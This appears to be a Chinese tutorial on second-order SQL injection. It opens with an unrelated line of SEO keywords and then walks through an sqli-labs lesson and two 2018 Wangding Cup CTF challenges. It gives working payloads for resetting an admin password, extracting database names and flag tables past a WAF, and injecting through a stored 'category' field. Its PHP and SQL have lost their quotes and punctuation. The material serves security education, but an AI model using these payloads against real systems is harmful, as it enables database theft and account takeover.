做一个网站的详细教学,重庆市门户网站制作,施工企业发电机加油怎么做账,昆明小程序开发多少钱一、原理#xff1a; 二次注入的关键在于攻击者的输入并不立即执行#xff0c;而是经过某些存储或处理后#xff0c;在后续某个步骤中再触发注入攻击 二、示例#xff1a; 2.1、sqli-labs-master/less-24#xff1a;
admin# 第一次在网页注册账号和密码时没有漏洞#x…一、原理 二次注入的关键在于攻击者的输入并不立即执行而是经过某些存储或处理后在后续某个步骤中再触发注入攻击 二、示例 2.1、sqli-labs-master/less-24
admin# 第一次在网页注册账号和密码时没有漏洞但是我们将admin# 123456这样的用户名和密码注册到数据库
再进入修改界面修改该用户密码时我们注册的用户名中的特殊符号就起作用了因为在注册的时候 # 会被waf过滤转译但是存入数据库中的是 admin#
但是如果我们要修改时后端代码又会通过$session将数据库中的信息admin#拿出来而这个污染信息就会将数据库的搜索语句注释
所以我们修改的就是admin的密码也就是数据库管理员的密码 2.2、网鼎杯2018 Unfinish绕过
#用经验判断该网页有注册界面或者用扫描工具检测其有哪些目录我们会得到
/register.php
#用注册后的账号密码登录后界面只显示我们的用户名所以只能从用户名下手#当我们注册用户名时发现有waf我们再用burpsuitefuzz字典后发现[, information ]等都被过滤了
所以后面在用户名上编写的payload语句就得想办法不使用这几个关键字从而绕过waf#此时我们先判断后端是怎样编写数据库插入信息语句的应该是
--先过滤
$username check_input($_POST[username])
--后插入
$insertINSERT INTO USERS(email,username,password) VALUES ($email,$username,$password)#官方payload
email: testqq.com
username: 0(select hex(hex(database())))0
password: 123456 两次hex转十六进制是确保转出来的都是数字只有数字和0相加才能得到其原本值但是两次转hex的字符串过长会被数据库用科学计数法处理这样又会丢失数据于是我们使用substr()函数将其分段从1 到 10截取出来这里为了避免写逗号使用了substr的另一种写法substr(string from start for end)
username: 0(select substr(hex(hex(database()))from 1 for 10))0 通过这种方式我们就能得到主页面的用户名回显依次截取出的数据再将他们拼接在一起反转两次十六进制就能得到数据。
不过这里还有另一种写法不用hex处理的方式
username: 0ascii(substr(database() from 1 for 10))0 一般ctf答案的表名都在当前库其名称通常为flag所以下面两种解法应运而生
#第一种
0(select substr(hex(hex(select * from flag))from A for B))0#第二种
0ascii(substr((select * from flag) from A for B))0 2.3、网鼎杯2018 Comment 代码
?php
include mysql.php;
session_start();
if($_SESSION[login] ! yes){header(Location: ./login.php);die();
}
if(isset($_GET[do])){
switch ($_GET[do])
{//第一个case
case write:$category addslashes($_POST[category]);$title addslashes($_POST[title]);$content addslashes($_POST[content]);$sql insert into boardset category $category,title $title,content $content;$result mysql_query($sql);header(Location: ./index.php);break;//第二个case
case comment:$bo_id addslashes($_POST[bo_id]);$sql select category from board where id$bo_id;$result mysql_query($sql);$num mysql_num_rows($result);if($num0){$category mysql_fetch_array($result)[category];$content addslashes($_POST[content]);$sql insert into commentset category $category,content $content,bo_id $bo_id;$result mysql_query($sql);}header(Location: ./comment.php?id$bo_id);break;
default:header(Location: ./index.php);
}
}
else{header(Location: ./index.php);
}
?
通过上述代码我们可以看到我们在第一个case中输入的值都被addslashes()处理过了那么在上面写一些注入语句显然是没有用的因为单引号被转译了。
不要灰心我们再看看第二个case首先如果用户要评论得先输入bo_id而bo_id也被addslashes()处理后再放入数据库查询语句中这里也不是注入点然后继续往下我们就发现了它“$category mysql_fetch_array($result)[category];”显然category这个值是直接从数据库中拿出来的并且没有被处理过然后直接放入下面的insert语句中了那我们就得想想能否在“category”上下功夫了显然这是个漏洞
#通过分析我们可以知道用户先在case write注册一些信息然后在用户评论时
也就是case comment数据库会抽出用户第一次注册的category并且没有对其做处理。
#结合对二次注入的理解那我们的注入思路不就有了:
--第一次输入时写
category: ,content(user()),/*
title: a
content: */#--此时第二个case中的insert语句be like:$sql insert into commentset category ,content(user()),/*,content */#,bo_id $bo_id;#也就是$sql insert into commentset category ,content(user()),/*,content */#,bo_id $bo_id;content(user())这条语句就被执行了然后爆出的信息就会被插入在content中然后被页面显示出来。